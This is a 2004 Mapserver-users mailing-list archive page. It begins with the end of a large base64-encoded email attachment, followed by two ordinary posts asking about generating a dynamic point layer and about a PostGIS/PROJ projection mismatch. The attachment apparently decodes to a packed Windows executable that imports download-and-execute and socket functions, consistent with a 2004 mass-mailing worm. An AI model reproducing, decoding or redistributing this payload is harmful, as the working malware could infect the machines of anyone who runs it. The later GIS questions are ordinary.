yhJnEwrzEh7zFxXmkMu+70wjBvL7Xh2QDHzwwVaqO/+BHxtxCw0iY0PGxwN/KIf4DSsantsg qEH8ZBt18Oodtm38eocbyu88EdFKwdyC3oH6SnirUjNx+Y41c+kKRjO7SsgFmjjpJb1S8M1o SqjDakLwJqE4+v5ccDDi62TaEg3zetbAQQ1ZFuZvjALl+DPo6DXGE+CjQSmsDk0dooVazgEy jXjxUc0fJBzwTqgBrnTeejGxofjZDeIRHxKS2Vi65zS/u2VaYqc5ks4P3VhyOdLsjgRfHxle giVePN2Rp6GSKVo/V6K5z/eMrcIfshJhBZ7n+UoOBEtGPSg4xmPwHoaS2rQ1pfKB53u9mUYN qwp+WXdjQFUjDUI2VkzCjcP40xKPBfCqPjXyormntiouXVKfjDODNbMKZu8MdSeyMwZv/1G1 9nfZ2LNzHf1OkmswhlJY1zKKcwOpmoYgxHpM/QRyaH9rolxUF/IE2o75vREJCLun7XDlPCKo WttIcuWGUIFn0POWEcnDBHqBof0DscdghzockvX1rBOMejEajKc5aQvO3A8YvXr60liUe2eA byN/uuu6a3mq9Uw6SRWgcvjxow2LccPB9fIgHk2MjM27utJLlO93R2OH9s31+PCv625uBMqI w43/0hHcHiaDXha4ZW1mxgXM+w7Np/5j/Lq2ZHYa8Z2RAYTGRIv7hDD1BoEUyhItMyulR2Tk 2qhDWkO6I0uxmLA8De6QZ2SQobTU8As26+bFBU+y5zDhtnoP70+XOE+FfgbY5OHDJhJ+/FwC Oc7SzDACXzyUS+RsVs8qpfyZOLEL2NMhkpUU1x0RuiN4Fhxx7yN5OPyswRE0VKlsqLpsWBcx ARHkFbbZgpspqQ6+XSSQkgH5bZKEYDb/hHY2GFIrgltuo5ENG08HbDnJw14g6+plif/YAjvs 0vn/6xOys5ktRZ4FmhhikP3FzJKWWhOYoX7RmgzPimMGPC85LIxWHP7mRoaSgyj+pqKZ5GFJ Ub1abhZCBhn2eh7szFDPvj8mKUAKYJ6RZ7pVxl7lRplaXRbLJlwwyn1R8PkWz0G8BRkTJFdd unUg3JCdT4Tez2Xme1oHZCP4aws7yCFugP5iu0tnrVECYyLskluJkun5OrZwBO0+NiIOQ6N8 nuf0T4YFOY9ykaVcD1eOaxvZXisaEBZb3giWkWVkX+FT6FerxFlG80slGOJSOKg5LphiOPB+ bfaDDEk6Et9VmES0U38SDO4BvtaWGzugCtINa3Bme1LzDgjL72zA+QuFuQ53hxJD8j4cgLNM Hp4fGqp7kHuC6upTEq+Ri7HeiJ+Krp5qikwTVZgrhlEd9fkEIdIk0og2cC33o/tR2k+hDiOw 2W3jCwSpIPInrf/g2cEWey3NijYZn+2WpdBwAAANCgFJbiB/sP//YSBkaWZmaWN1bHQgd29y bGQVbmFtZWxlv91c+3NzIHRpCBMcYW4hdG8gc3X+b3/3cnZpdhJTbywgeW91GGlsbCBiZSBt aW639tvvFS0tIEJhZzkgQXV0aE8iMjlht2/uLjA0AglHZXJtRHkufW//t+9qAAHojkCQo2yZ QABoDzgE/zUE3+0a33BAFCGKBTZsBBaxkGpk2v7/dwdBbuvxycNVi+xX/3UIX+sIR/YIgO1u /5ezBTt9DHXzX8nCCEJrT0cAEPsg349BQChok6gOcIEFcVAebu3/ZQAA6ZX+7//M/yXsYA8F KGEZGRl5JCAcGBkZGRkUEAwI8hwZGQQA/GD4MjIyMvTw6OQyMjIy4JxUWDIyMjJcYGRoMjIy MmxwdHg5NjIyfICEv4hgns/n84xgkGCUYJhgLPl8PkegYKRgqGCsYMjIyPOwYLS4vMjIyMjA xMjMycjIyNDU2Nx8Pp/fYYlwYWxhaGFkYcjY5PmoYaQFnMjIyMi0lJCMyMjIyJiwuKzIyMjI vDg0QOHIyMhEUEhMYdlkZGTkeIR8gDIyMsKXFBAI5DthMgzZYAUgZGRkZCQoLDBkZGRkNDg8 QGFmZGRESEwAAiRUQSKaqaL6HcP+9t8+EASMT8vDz9QBy8/M1Mj6AG3///+ptbyurbuov6au k5ef+p6IjJ6elpbUn4ILptn//4EMta+uqrWprtS/or/6tLe7s7QJ/v/f/rWorrW0pQ2uv6i0 v66lqb+5r6XJ1MqlzsrN375tzyCqvAqlYKXDwqUkpbe/pWu3bdjIsRgMqS+0vTkQ+c9uB6i1 RbmuDKm5sr++ych2a2c/rqy+twmsqBjLzAy19v82sTiztdetqKrXzsjL10gKvbnug5Sxs7a2 TLleX66vqreZO7Yvyxe2vhUJHLu2J+QPc68Msb61rbTIyn0sNmsAEEIKuba/uyP8P7aluQu7 rIqIlY6fmY7Dgh652MJZ+7e9qL6zHii3E8ql5GTtNrnnw6JNDLSuD/s2m6wGbLjLwssLrr7P bu3Zrbeks7m+eaq0pb6/C4O1hbylrvwMqo6jLxvWZgpSB6m+qEJhVnAr2I0ZU585tnK/n7IB v6KrrxxYwApMGCWsv53dkmeqvheiFq6zrLOoLdiH8K+p17k6vLupCBewMCu0v3J2DEStOJw1 gsweEaqcWQu20AawuyKgB5KwzdqpYmnPtYTkwN7+Fc/Jylu4o7gQrWDbgyWjvbi34a8KZd1g jaKDvdy+CdbKEbZavd6yu4UEhn0JjTossq62HSs0Tti2v3q74XkKdnhbADWor5w0w+Rk77u+ ggy0rv1CskOwCb8jzHYyCgOzy2Czqp+MLUy2MaggqWqwMxRmrdUTyIIEYcZsWA0M5wPDTKV2 trMLX0QQG5OWuarZECIZ1y5pSUsgySE6tu3Z7Ui4iL3ICanLotsOxhmUvv68vSagCgtWKgQL kjMMW5aE9q++iMeiG2mhHcYrtJxIrdLbDlsOu6IJqeG4Cy0Jkw0guSAKi5Bsa0Mizl6/GUbD yTq+Ir+1dbNvm1uCG3NUDEC8HsPcsLULJwrq6evfsBIOqqOyr8nXjUKwlmzIFEm/mq9sl4T9 C6+3/Lavmw7htbmGJKy9e6msrN2eZgw+17u1sAgP2LBIKV4NCFrhLTuqs9kO8rUNYcnN9QzF vrruMoZ1HLUJ/bth2ZI17M/PvxhCLqzYN9iWIrYMvbbDDAPPcD2po7TOBr6lStdBak28sy68 uLOMrW7ZMAnuDargLYHCZQm/7zyWNQ3WEqkItoO+CuGDwdjOv3q1h7TzQCsvOa20rafDaA6C ToKOUmzWCwaTKnsSyzgwl7MVqq3AbpBvCrSzorGsJ6Kj0Wa1hzK/uKuWvfufrP1+yKnDAw+x pc3MpcvOycwRZYM9DrNyDL7oYIcHtgy8CbOND9k3WFgcyx3LzaXKD6zWNLA7l6kohZoN9hTL vJC8iGVukmjxrnyqWNdbmD22B73PDFiuFyxzyw614wsiNQ4UTLnGo3UxweSCbkK6Wgu4Bzf6 iYOJ2hd2uUSwpmAhq7Wqtiy19mCiaEYvrMoUSW/YG1cLXeXQOBi0d6atvUsuRuEgEa2yqI+5 huRMs7eC/4HTjLCt0QqE4L8smRhCcyJ7VTirtSWcB6gSC37ijof1WQqpuL2TraOwTBjcGlSn sam2ormDVDBk7yqgu7+FBhGGCaB+tMs6tWAQDY7fadksZrAfCRUiZXHZC8lCJBIYyDK+cCsI BUqTpLIwNmkQWr9Oq88Yw4WAdKuWEazCK21tGDSkFfM+vgSG9Ya0DL+4NrAuBqgHrwouQo1l HahbnaPYthCEO/OsJLSJVoFGK8N+R2dmKpQIqPBZCxFms3e4lgpCWTaBCYulMKUBGmevQmtC 7EcRvIOZGrO5B+gXkKmSDLxgZorA9a0gZ98TtDe3x3C4GbOzCIwHThIO1s2gOqIJqckQZmzB WktkibxKe7RkB+RfFe3SFYj0ZM+jt2rwdUvWgm4JSJOpsSQF7JstC68KkDLYYI3bBrsHty8r dWseyNc8C7SuttDsIdfJCYWxgZstUGD3RLgJdyYdWFfntAuit1vy7Cz9rn6osAt1M0iWh5Yq qh0oVJhizUCf3BJqjQysDQcMGNaCOXYKzCGrLWvkb/ULSsbIlqwwGWMLvA9ePwj3t77wZWZq T0iWrLS2inwMaMGcaTwLDAsaOYK1vgkPL3LMcsELt++TrFUqORpU1VMyGqyJFnOiqAuyMGCD RRYMs46pFsO6JGMKtQkKxLKRb9+pvwzH7AXMrQ3HDqUrCLNbvkHCwwwSxw+mYRSRG4OiRrNW Fk1bSbAmNVbNp4De2RojsEezOhxdWSySRreQgFx4s/kKNL3JKTdrradBCEgrGAYmDreTORyN WVtQvGTBGQ/NDg3WkyOpeJziw1rBDAhzDK/KycJDqFUC0vbCyrQ46YLAo12uqaAzMQT+DLfI zHj4D9v/yFZ9t/qSjo6KwNXVjQDUA3vh/4mKk5+dn5bUnp/VI4qSihsT2L/9lp+TioCTHYjX l5+JiZ8jl2D/BfaVmJOWGpSfnJWIl5tbyE9gX5uMkk+dlZ+OkoG13xYTnYiPg46OrPuHsDKS opuPjpWJmZUFrbUEdsjOH1TcOxPY3beZQNeYlY4Hm5yOJ5iEbwvsl5icGJKWk5SbBitcaCFP A5SUQlsra4VCDW0DXGsnsP+pipuZn5mWj5g/nIgdDrb2IWzXvJaVjJ8+Ip5Fu4UQM5WUldb2 DSG8j5KTkVSP85ai8O4Fwp48mdcelJOOgLbRPoB3m5ibkThDjn+wwgnklJufl1l3ob3ALo1v k5wVjW07hHCdlGiZkYaJkf4LrG3PjllYioiT142V1/JTwht1mI+InRSMk4iOj9othPGAlZTP 6YmPBIwJLxCJj9fq7i2BtQubcBiq0naBbbSWUY0Yjga7bY0QKhvXU46Tqe1tCGmJXoAekZWX BtRwDGF1mcp4pcIuhNsO14hpFUZbYI2IeprmPIEVFtiZnKByNmULbUztlxqQpYE13MaT/YzT rMo2YTtheIjM1+EqLawE95eCktm90ILCEIIrRtQ01/VSO2WmbBzJjuolVtYW2pXRbJlWOLAt lBoIjkMxnj+WhQMIralAEsiPDQuEbWuXHJ3MjP8AmJ4KsKjXJwKjUGqabbn3N8cE8pydkVY0 n5QyNEYIi3tdCOuRwmDq+wghjEIPHtxWKrRCD3cCvcoK7hGVmR5GUy5LpduEiJ5buZWIj9OH FkAU2deVuFwgtTarlbF8kVzHBgkmR4+UH1fWChcInZNmCvOegLW1jpP31KPGiVsaOFMpSVOJ 0gghlQWPkhqnVitQvohbRT0LIQwatm7pjyhcYBsKk6OWdWOEtJkzY517aynZDK6UIdXnlw3X SuCXkozsuJqVYOhMSP6IBB202rbFiRXC9Yyz2oEB1gofI7fjYaKJkogmidhsw8SVaI7JLIM3 KFFqARWaI0YIy1By+WzvCOnC9oDXkSWWmY+Sm2ZaIHGemfCUcrDAlrZhjvKYINX00Y6o14p7 XNdln5bbGoUXdo03X6YFEo0b//eMbYG1nmTYm5QLQggLxzM9TVyDJNqO+1xVsFm3DbOcZpee I6XSVuAtZiEZlMwTBtoEnKA8ijU1HIW7AmRviYVSaZB0AEu0bBvCTM0k12adh6PQSimlQ5Gm QiOEhNTiEVtgJr6Hlg9F60JioWmAy4kYj2a25KKxb5YnjMcFToUF7qeNXyDgCj0ot5mTmcQE kqGMH2GVaLYwhMSQXZvjpba8QG6fgo5yKf5LtlrqpoP634nFisffaLy1haXc9waJ+rtOttFm Wtb6MaTVGYoJbgdbCiScCZCKvvqdnG1d20aKMd+WKr0LqcZWsh9pj4oOR4582m9j7I2UD71J szy/lHsJbKkZ5BxWnxjdWKFjFLaV9RW87Kn5WAMH4gcXqZuMnwaetR6ulbw0QL6TU7kCbrOJ Fsq3oJwFJgqzA/hgwv6yCIcHTrY32/oA2NvlFyOqv7b7PRc7ajL3m/1/+hr69Nvx+//2+vxY AOrrBLPvzboD2g4LG/4ebrbsZAf6yjMGKBlLNrDqBwYM7ux8I6zGoALaAIlF9iqK6jc1fcG+ lmbr/5Cs+LYt15R6GlJzmRDSOyWcTSP+R7j6AJoahyimmXrimNlg4CuklVoLqurukicvJuqS 6gAPZjllk3IDaupkQJ5tmlY+KuofEOrDQccv4/q5lp2yoK9/FBytyA3Lary7+p7GkoOO+/yt 9ySJxdK3LrYYmR+DFvpD+K2BtUbusyT6KfjOyDMqQQPQF7FOtixt21J7c/rZYJ8Iv+eZNnuE K2dN7By+wP8KWJqH9vuPvGrpeONTZJIat+oSYbOSAc/e2Q5ixwrf+t8koE/y4mrlFJJhUb25 9ykLEo36X4KepKpRySFquVEQkk28zvqINkQ92kTgV2hmE9ExVKis2tn69wPE8wYS8/qkUAXf imVGRkY2BY6ChnocgGFGcuf6////g9rL0MvVy8DLtcuuy0DLOss8yzbLKMsiy/o7ChVlAAba nHlsCUw4R9YIjoKOpW2DbZ0GlEKfCIpI2Nt7tZIF6xsJk/fwDO3rJX7ax9rYr4mlyDrYF5/k hrWpM0kat7WYkFVq6U2l0tipmaCKTGcneDKlpKmzG9gN5tyy0zl6OUPU6rLPnUGubTPSg64K WDBntjWjMZ973ecdKrQV0rgk3pvAEiVuBpvHo+uDbDdTroQSaMbHytSVNNaZa/cNd9RB0stc 9y8riNKb0pPT0yeUcB9dsLNYlU+ABge527atBJGzvFGoq57e5Oy9nYzL1g9OD8jZBjNwu4pa Ick3mYKrqxY04p+QSrScK0eJXhXnyAgtIjjdTZXv8DosFYnPQCresjtqL3+U2tJIGYsW7sMq i4+TzLhitb9sb9YEA5bGsq63tsQVgTfovAe/u77jtr/EYH+z3Qfar4qec8bVFSauu8C/VQ/A u6o6rsfas77H2FiLBuyr2NoStGgTbAWWgAG+fAqUXvuwQlsNqa6jRxLe25orCBQxqjIQBtC9 1gw/CRS1Of1nLuCirosYt7uis7ezoAw07FZUrq4sQBq0wMgTzLUyRr23iyC4u3cS5Gj2F7Vw yrS5vxMVc5e1TVusk4EVAtdKeA0+OlsJOgedK5eBA4Al2v5tu9X4qbmos6zaQTtjt1C2vR6s uNDYHZD+Qbq3g7wMi5yW1IyYiQr3Bkh6vKm1Bq41O8mYjYz+ZvwKqT12J9SNsnbBwm7tNurc 2qaJlpxGxtYGUtbKFJFCg6QQNtgt7EJZG2Tm51AKYYOwA0qsEbbKGDkt2LJCWBtCIBE2sEJX IgphIaxsLlmsUPaBSZbNCBtkA4AbHCFsQdbVTKwyAljqXoQEQgkAAZYQSGFUF3WBQApbLy1t lzSwIpm0xZIaLuTM7xK8vlOths1i1JFlIA1OoJWSImfBqVnuYUMp1KirSaCAaSFkytIte80q 8HmIhpCmH4UIPMSNqRsD0iHwgrXTIBYr0r4QiMDV4/f6+7nWaKelXd1uPu7kbdWg/ZOfjZ+I CDank7VGa82jE1fRxo4RC40jP/q/9unbg2/tZOG3k2ZwlZyOpinaVrQHprmPIgmsRWpWriGX psJJbSboxlPUlfqzBIBambe3nfrXE5KOm3mY5CmMXMBjurPWGoaOFpROPjGK/0YFuqvPsJj4 +f7//P3y0oKpUmDHh9/lMJesuSLxDXENOQdhHpWIna8Gt/3CVpe2vKi1t8DGGsQXGtbAwLne Sw7DPril0LsGK7qX7a7eHqX6/PuWnNeJQRi5RGvTbiT6j/oWojlYT4PpG0iJKxTK0QXyBucr 9Aa5ln4d7Z7XmYrW4BoMG+SKBextqGbuBY6egwc8B6VCYZGCH3B7ZqA2Wfp0iWAAItsWLLR7 p/qrgmOJiuZu0J76IY+CBV3QxqBm33BomS4b5Fq7d5KVtFwEvJtU26VogCLXmyG6B8eXwLbw lpuY+jaJa80ZbpWVnd4Nq80c3VozcJeKLH/CUvqKa61trTvXVpu/C5QamrttWxCdMLpHitSs UtaCRtspg3wt9KYY2tbcleaiiJe9plzdwje1pvrQ1NDdjWnUopt1nBfxl4mdAIkFBM2YefuC l5YenpiCBJ6fXN42fxOUmZKXnDyVnomZnFw7xMEYeQQhsV/BFXYhJ16YmFS79sF1TpYrMNSP zzWdk21u7HNEGJ5ykEDIkhqGJ8Pnvdq1nDHjtGDaCqLJna6RLEbDtmqt25Hj27gptfchtBGi qtYLBrniJ4cvjdqxn4MTNsyl7DVfLSY1rdAObC2qGU8RFMqttYkLBAqblnhopVcuVdqZCpZI FV2XXbfb2yraN59onQy0/pvTWGWLeIeOe4loJbxtMrSTHQcyjpGDrFUxCp462Be20NpZRYqY DgySGMNirYlKggA65Rkd8aipCFza3Tk4ZqLqIbuSDytgW2vvV0HNMrBLhdx2tpXdklnpgptc rGJrDSWR7YKi7azbDsIxjcOiANrsKcrmHVyIG4lHwZbdOLt+2swpEdGECe7P2qpsMD7ots2C lo98mEeqkqCtrRkPBC3DsI8aLLQTaLcjGIKUZaqFDniMS4862G5NrT6kMZLgj5gPjgoNYubs RHZSqH071jsM+p4A3dbd2gXGrebWZQDag9pDssCP2Da20sA+Cd8qkwPIDlzd1lsKvoTAWT/M atC2lQfYCC89AZcwU4EQbvQtddLZLLeG1zvA2KhR7B4gy5PXVo5aEDwVjFfWum8tXgLXroOK ZZfVsO3W6qIp1RuknsEfVqhWsNoAPwQYmgu20YOS1wB3Hkb2hrm8DxFPhsamh0bVF5bBaY7R ajQTbD8fJgABa7RQkx0seMUGLcqJ9ddqUlnh5sA5zZg4XgbaodYRV4BUeOztIHuPUZh1n8zO IiK0WLGdZQt0VGsUY06hZcEmLLAYi1VLUWAq+xTEm5tO1hpfqwO4XtXVGBeELTvQiS2xsGBv EBKV+gSe4M99bQMR1BkDxpiI78GH934JncTGHhHZa7ESxgkGFuRopa3Sxj5QiahdxGAnXLSe wBLEQKrs2KHLy3Oeigza1wkNY7M3Fg0AqBK3Lr4JtIlI0g2yhGrs0rGVCaObU5XbCq4Bayw1 /3mDbA5Bh9luVMDTDb9N2jGrxoJeHr4ZA3uZMLiE+B1bcshkFLe/jINDw94QHFzY7iDEWpkG t/q5fj1cDV45iy7BVqhC6Q2lBjBqarVkT7ybgkR2zy0WVOjqngFtCaOVuWWRaxXaHp01msER e6kaHKUIw2Ui/w6MDfuWdIoynuwA2nN1NjubBRDUfgTuZwNXseKTjIKeBEMbVpiTdiq2tFos unLaV21y4IJsdJGJToll2CFsD5iTEIrCirOGW9Zw1I2fFyMZ1AawQWuKBguwQ10OifBwIQB2 GUfXbLoFtmyDM6+JpDQ6eGSANzWXmSmbsA+Y1EW7mJMto2GPrV+chPACCEu2I/dKrh2ziCv5 lkIcnAJCnh4IxuSeodeiGy0acwA77NE3jcKGwGUhETYbu+szfiILhC0sWNIDmNRmgmIPDDVx vseTUimKHJCMpeIOqeuW1N3fMfr8pTcxE4cNNrffHKGwcEjjozGlHCFcWWhgpU6NVKUzlNxb lLK5nKW2/9IFGHAdx44XjFNta7H5+k8TiSEVmupOWINfu5YspV6eXCXcrk6wlSl8HINobqYC X4mllJw1TN2cf2aPnIABbQStnXqbB8WPk2uO3NcdnhGIRO+sxWzfs5gOa6mXU7OGn0wwNHyE pQ+l6x7WMtVaJN3eLII2WHCOgowLjE2Tu20xi0CKkIGOrj5zYJislCGJIBfkcnNvREi7mZbV Ho+K3KG2TawYjxckMoxdzBVSuT5ojqm8X7WKEEMX/ZanWsBgaKjvaETBHLmp9F45tdoihaQ3 knCobbHKp3datAIfbIP4jqonlza3j6KCrQPxbwGuv7Sjsam+cVYbtRjNu4m802jJqf8dtEZI FOv63b7diN2V3Yrv/oV2AZ/dKqndkd2D3bQLjt36pU2z/fbXlbWbSYbX0anRA5GDtP3b0jSf joZlsbWV16X6oTHiUs5PiKaApx0/a3C0iYNqRZdpsJGWqc3SNVOXUgDXxK8/Y6+ZxgoRaaep 15Hc+Rb614PXtNdQjl2h0KqR4Y71rPqg0ouAo7DUhe25ga5Sg8BvPvrDorKO7voYakNbSHGK D6bavNWE1jZTjQcIXD3WGMz6B64nUrO5q2CjW9a2+kMNvjawh21srWopyJX6QaklF6GrjGmJ vuAO3VIDVzMzioNDqjVHzQBaB4xUZI4KsFm03JqLYSxJvWW7JfoRzxE4OonIRoMKMAq+2oT6 cwFZjIpcIgAJRQILJYkD/5fLqTQBVFABR2V0TW9kdWxl2BYAy0ZpToNBE1gLgP9Qcm9jQWRk cpAP/+y3/1N5c3RlbURpEGN0b3J5JFRpY2tDb+zbFux1bnQNPEYbbWF0QQ9jbeyfWm9uZUlu ZhVpCxdXbf+E/WluZG93c0tsb2JhbEFsBmP3v22HDEYdZQtMb2FkTGlicmEmz2LJug1jJQsk TWG7Nff+cFZpZXdPZsIOzGtCea7vW/t2VG9qZGVDaDwUT3BlbtNr28FizwgzMjBy1g/N2u4B TmV4DlJldEohgN3NrWdnaWlEcoJrW/d2U3QFbmdziVMYRcVxtd3PDQ0IQXQfYnV4da39giET UG8xEIBT2iGCuwtlcAZHGp1t27b3HwkVVCFtJ2EZ4Rf2ZKJVbm3VV2FpdF3mDG+uU4AOT2Jq OxTf7S9ZC0v0FG5FeB7hdrZ0MnJlPWx1cmOYyx722QltcGkKcHkJLvZasG4KMQn8+jDbZmei R89/egzhCx+PEFR5cC9DkXNlSGEQDwz3XmobyQlDddjBCoVyqAbcSWQU17rPAhJvbW1FTMBV BHsHx0YnkHYOm3sDO68PeHLuafgP22VHQ1Vh+29saGVscG6yX1jTU1dwc2hvdBloBhu24bBk DU2ueEENWpcwQ8dNcGQTDNpCssJvHwo/YRuabO0SvlJoS3PmbqdZWkEIFmdEGRTM4d7CVkR1 OBAWDWz2ZG9FdCBLZXkOcmZzb9kO3w1UTpijnZ0gIULwHw3Jbk1vkF9iSkRDttmbHUptfV8W CeFjO4w5Rllv5GywjW2CO0lQgyZ27xizWWtRXA4vz7h2w9xsCD7GQms329YMZ/xUpYNRcqdY 30xJNjRRMQZtT25I21qHSdQ7DmppCuFpNkdH1WIAU6s0W8OjbLVCQUVuQPbYG+4/33JJQQlE dXAI2cZgbgISVIVtCfWn6dxSJzl6WFVSTESmm+S6ZW5sQGkchWg2bZ1gfXDJdGZNHTss7DRh Z1BvkP9za20ZZm2VcKQ1eneVGk/u3hxoVRuqHE9P00mQeEndbrrsa9mSAhR0QQ6MgJUuVVwR 8zZD23BublJlZMMvWZy5tu5pjGkfX7xkO0FAo7GedMD4VZidzCEMYnkOSHnpa8BQWGOAcwNr ZXS/yltuYr1yYWNjJVNBgdccd1xydHUwIxl5NvtmrnYyehRsBz75L8dgzVBFTAEEAMwPkECe NP8P4AAPAQsBBQwARFZIUPsMBwLfWA1AC24WbDkCBDMHDMDO3JLQHjQQB7O8JN4GT9Bh3F0g kMvAoAOnxPuarrABHi7DdOtCkHcX9gXrBCMgHi5yZHSD7Qqvo0YL+wwnSNli3YVAAi4mR3Vt SprucCc6VMBPBhtsgXOCAOvAc47Av9/KJxtwZA0hxgAAAAAAAAAAIAH/AABgviWgQACNvttv //9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz 73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78 EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2 D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz///9eife5BwAAAIoHRyzoPAF3 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAMQVvArhaOqhtUhRB uWnHhydeFAkrUTAseiujphWoNJyDuZGxVoqoi2IMl70vPGhkhX92fIJRs4EHbnHAho8te0ic rEOvWITCxzZcCZ6FUDGrk7pyByIaeQs/RRwKMppuSkKAHCObSGtaTWd8phIrX4qsMLSImgIf m0NTLqCCBC9XpXJpV4ujZUYgnzQrILiBUxY5KSdmVny7pos+aT5peTgAhQQoIllCE8QYQyq+ Kz5SPjKlKoenMK1Plxk5MlE9GjQOocKqik8FdHdgArowhaVJjGtYjQiRe61VGAM2Lrpzxg6g XU14eC9oc8Q+YqIzjomFarAScFoqj00= ----------lusrlrldlpxokbsawnwk-- From samuzzal at linux.net Wed May 12 00:27:40 2004 From: samuzzal at linux.net (Sam Choudry) Date: Wed, 12 May 2004 00:27:40 -0700 (PDT) Subject: [Mapserver-users] Generating dynamic point layer Message-ID: <20040512072740.77E053974@sitemail.everyone.net> Hello group, I have an access table with the georeferencing positions (X, Y). Could anybody please help me by sending some code to generate a point layer dynamically from these information. Thanks for previous helps I got from the group. Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From skoehler at buschjena.de Wed May 12 01:42:54 2004 From: skoehler at buschjena.de (skoehler at buschjena.de) Date: Wed, 12 May 2004 10:42:54 +0200 Subject: [Mapserver-users] projection question Message-ID: Dies ist eine mehrteilige Nachricht im MIME-Format. --=_alternative 002FED32C1256E92_= Content-Type: text/plain; charset="US-ASCII" Hi, I have imported the cities from opengeodb (www.opengeodb.de) in a postgis table. Now I will show this cities in the german map. The german map is in projetion esri:31494 and the cities are given in geocoordinates, so I have used the projection proj=latlong. The target map is in proj=latlong. But the cities lying outside of germany, why ? thanks Steffen --=_alternative 